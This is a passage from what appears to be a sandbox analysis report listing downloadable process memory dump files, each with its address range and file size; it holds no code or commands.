Filesize
184KB

Download
memory/1740-355-0x00007FFA79830000-0x00007FFA79BA9000-memory.dmp

Filesize
3.5MB

Download
memory/2412-335-0x00007FF6824F0000-0x00007FF682514000-memory.dmp

Filesize
144KB

Download
memory/2828-113-0x0000000000250000-0x00000000002BC000-memory.dmp

Filesize
432KB

Download
memory/4120-572-0x00007FFA8AF40000-0x00007FFA8AF4F000-memory.dmp

Filesize
60KB

Download
memory/4120-623-0x00007FFA8AF40000-0x00007FFA8AF4F000-memory.dmp

Filesize
60KB

Download
memory/4120-598-0x00007FFA7AFA0000-0x00007FFA7AFB9000-memory.dmp

Filesize
100KB

Download
memory/4120-561-0x00007FFA7B160000-0x00007FFA7B5C6000-memory.dmp

Filesize
4.4MB

Download
memory/4120-599-0x00007FFA8A5B0000-0x00007FFA8A5BD000-memory.dmp

Filesize
52KB

Download
memory/4120-571-0x00007FFA82970000-0x00007FFA82994000-memory.dmp

Filesize
144KB

Download
memory/4120-602-0x00007FFA7A570000-0x00007FFA7A8E9000-memory.dmp

Filesize
3.5MB

Download
memory/4120-603-0x0000017DFA130000-0x0000017DFA4A9000-memory.dmp

Filesize
3.5MB

Download
memory/4120-604-0x00007FFA7B160000-0x00007FFA7B5C6000-memory.dmp

Filesize
4.4MB

Download
memory/4120-605-0x00007FFA7AF50000-0x00007FFA7AF65000-memory.dmp

Filesize
84KB

Download
memory/4120-606-0x00007FFA850F0000-0x00007FFA850FD000-memory.dmp

Filesize
52KB

Download
memory/4120-597-0x00007FFA7AFC0000-0x00007FFA7B13A000-memory.dmp

Filesize
1.5MB

Download
memory/4120-596-0x00007FFA7B140000-0x00007FFA7B15F000-memory.dmp

Filesize
124KB

Download
memory/4120-595-0x00007FFA7B740000-0x00007FFA7B758000-memory.dmp

Filesize
96KB

Download
memory/4120-607-0x00007FF6824F0000-0x00007FF682514000-memory.dmp

Filesize
144KB

Download
memory/4120-594-0x00007FFA7B760000-0x00007FFA7B78C000-memory.dmp

Filesize
176KB

Download
memory/4120-600-0x00007FFA7AF70000-0x00007FFA7AF9E000-memory.dmp

Filesize
184KB

Download
memory/4120-601-0x00007FFA7A8F0000-0x00007FFA7A9A8000-memory.dmp

Filesize
736KB

Download
memory/4120-622-0x00007FFA7B160000-0x00007FFA7B5C6000-memory.dmp

Filesize
4.4MB

Download
memory/4120-632-0x00007FFA82970000-0x00007FFA82994000-memory.dmp

Filesize
144KB

Download
memory/4120-631-0x00007FFA7A8F0000-0x00007FFA7A9A8000-memory.dmp

Filesize
736KB

Download
memory/4120-630-0x00007FFA7AF70000-0x00007FFA7AF9E000-memory.dmp

Filesize
184KB

Download
memory/4120-629-0x00007FFA8A5B0000-0x00007FFA8A5BD000-memory.dmp

Filesize
52KB

Download
memory/4120-628-0x00007FFA7AFA0000-0x00007FFA7AFB9000-memory.dmp

Filesize
100KB

Download
memory/4120-627-0x00007FFA7AFC0000-0x00007FFA7B13A000-memory.dmp

Filesize
1.5MB

Download
memory/4120-626-0x00007FFA7B140000-0x00007FFA7B15F000-memory.dmp

Filesize
124KB

Download
memory/4120-625-0x00007FFA7B740000-0x00007FFA7B758000-memory.dmp

Filesize
96KB

Download
memory/4120-624-0x00007FFA7B760000-0x00007FFA7B78C000-memory.dmp

Filesize
176KB

Download
memory/4120-619-0x00007FFA7A570000-0x00007FFA7A8E9000-memory.dmp

Filesize
3.5MB

Download
memory/4228-229-0x00000000064F0000-0x000000000653C000-memory.dmp

Filesize
304KB

Download
memory/4228-267-0x00000000075C0000-0x00000000075DA000-memory.dmp

Filesize
104KB

Download
memory/4228-266-0x0000000007C70000-0x00000000082EA000-memory.dmp

Filesize
6.5MB

Download
memory/4228-301-0x00000000088A0000-0x0000000008E46000-memory.dmp

Filesize
5.6MB

Download
memory/4228-302-0x00000000078D0000-0x0000000007962000-memory.dmp

Filesize
584KB

Download
memory/4228-228-0x00000000064B0000-0x00000000064CE000-memory.dmp

Filesize
120KB

Download
memory/4696-435-0x000001684A2B0000-0x000001684A2C2000-memory.dmp

Filesize
72KB

Download
memory/4696-424-0x0000016848230000-0x0000016848450000-memory.dmp

Filesize
2.1MB

Download
memory/4696-434-0x0000016862D50000-0x0000016862F70000-memory.dmp

Filesize
2.1MB

Download
memory/4720-278-0x00000221DDC40000-0x00000221DDC62000-memory.dmp

Filesize
136KB

Download